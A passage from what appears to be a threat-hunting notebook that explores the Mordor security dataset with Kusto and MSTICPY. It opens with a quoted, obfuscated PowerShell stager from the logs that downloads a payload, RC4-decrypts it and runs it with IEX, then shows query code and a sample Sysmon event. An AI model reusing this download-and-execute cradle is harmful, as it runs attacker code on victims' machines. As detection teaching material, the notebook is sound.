$a9486.Proxy;$K=[SysTEm.TeXT.EnCoDiNG]::ASCII.GETBYtEs(\'9lKML%TC.jo5H@:?>0nuvWSe*bFI}]EA\');$R={$D,$K=$ArGS;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.CoUNT])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bXoR$S[($S[$I]+$S[$H])%256]}};$A9486.HEADeRs.Add("Cookie","HCpOAcmGdIOKg=kheTzYkb2ZLIJitc7ZXl4xxsyhc=");$datA=$a9486.DOwNloadDatA($seR+$T);$Iv=$DATa[0..3];$DaTa=$DATa[4..$datA.lEnGth];-jOin[CHaR[]](& $R $DAta ($IV+$K))|IEX'
Looks dodgy to me... :)
The examples above, together with ./Kusto-Ingest.ipynb, should provide a reasonable introduction to loading your own Security Data into a Kusto/ADE cluster and then using MSTICPY to explore and find interesting events.
There are a number of other interesting events within the Mordor dataset - it's highly recommended to continue exploring this via Kusto and MSTICPY!
kusto_prov = QueryProvider('Kusto')
kusto_prov.connect(cluster=KUSTO_CLUSTER, database=KUSTO_DATABASE)
Connecting... connected
kusto_prov.exec_query('Event1 | take 1')
# ...?
ProcessId | ProcessGuid | Task | Version | Domain | Keywords | AccountName | SourceName | UserID | Hostname | EventTime | ExecutionProcessID | Image | SeverityValue | Severity | EventID | EventReceivedTime | RecordNumber | SourceModuleType | ThreadID | Message | UtcTime | ProviderGuid | SourceModuleName | EventType | ... | FileVersion | Description | Hashes | OriginalFileName | Product | Company | LogonGuid | ParentCommandLine | TerminalSessionId | CommandLine | ParentProcessGuid | ParentProcessId | ParentImage | IntegrityLevel | CurrentDirectory | LogonId | Timestamp | Port | Tags | Host | ProcessID | ERROR_EVT_UNRESOLVED | Type | TimeCreated | Level | |
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
0 | {a158f72c-eb20-5e02-0000-0010427a7100} | 1 | 1.0 | NT AUTHORITY | -9223372036854775808 | SYSTEM | Microsoft-Windows-Sysmon | S-1-5-18 | ACCT001.shire.com | 2019-12-24 23:52:48+00:00 | NaN | C:\Windows\System32\wermgr.exe | 2.0 | INFO | 1 | 2019-12-24 23:52:49+00:00 | 172776.0 | im_msvistalog | 3992.0 | Process Create:\r\nRuleName: \r\nUtcTime: 2019-12-25 04:52:48.400\r\nProcessGuid: {a158f72c-eb20... | 2019-12-25 04:52:48.400000+00:00 | {5770385F-C22A-43E0-BF4C-06F5698FFBD9} | eventlog | INFO | ... | 10.0.18362.1 (WinBuild.160101.0800) | Windows Problem Reporting | SHA1=01C782E1D351F4955571FA4CF4DFCDB16DDA78D5,MD5=5FD1D66E944223729B6C7CADCC193915,SHA256=3A7AB2... | WerMgr | Microsoft® Windows® Operating System | Microsoft Corporation | {a158f72c-6e53-5e02-0000-0020e7030000} | C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule | 0.0 | C:\Windows\system32\wermgr.exe -upload | {a158f72c-6e54-5e02-0000-0010770f0100} | 1448.0 | C:\Windows\System32\svchost.exe | System | C:\Windows\system32\ | 0x3e7 | 2019-12-25 04:52:49.358000+00:00 | 49719.0 | ip-172-18-39-102.ec2.internal | 3284.0 | NaN | nxlog-mordor | NaT | NaN |
1 rows × 56 columns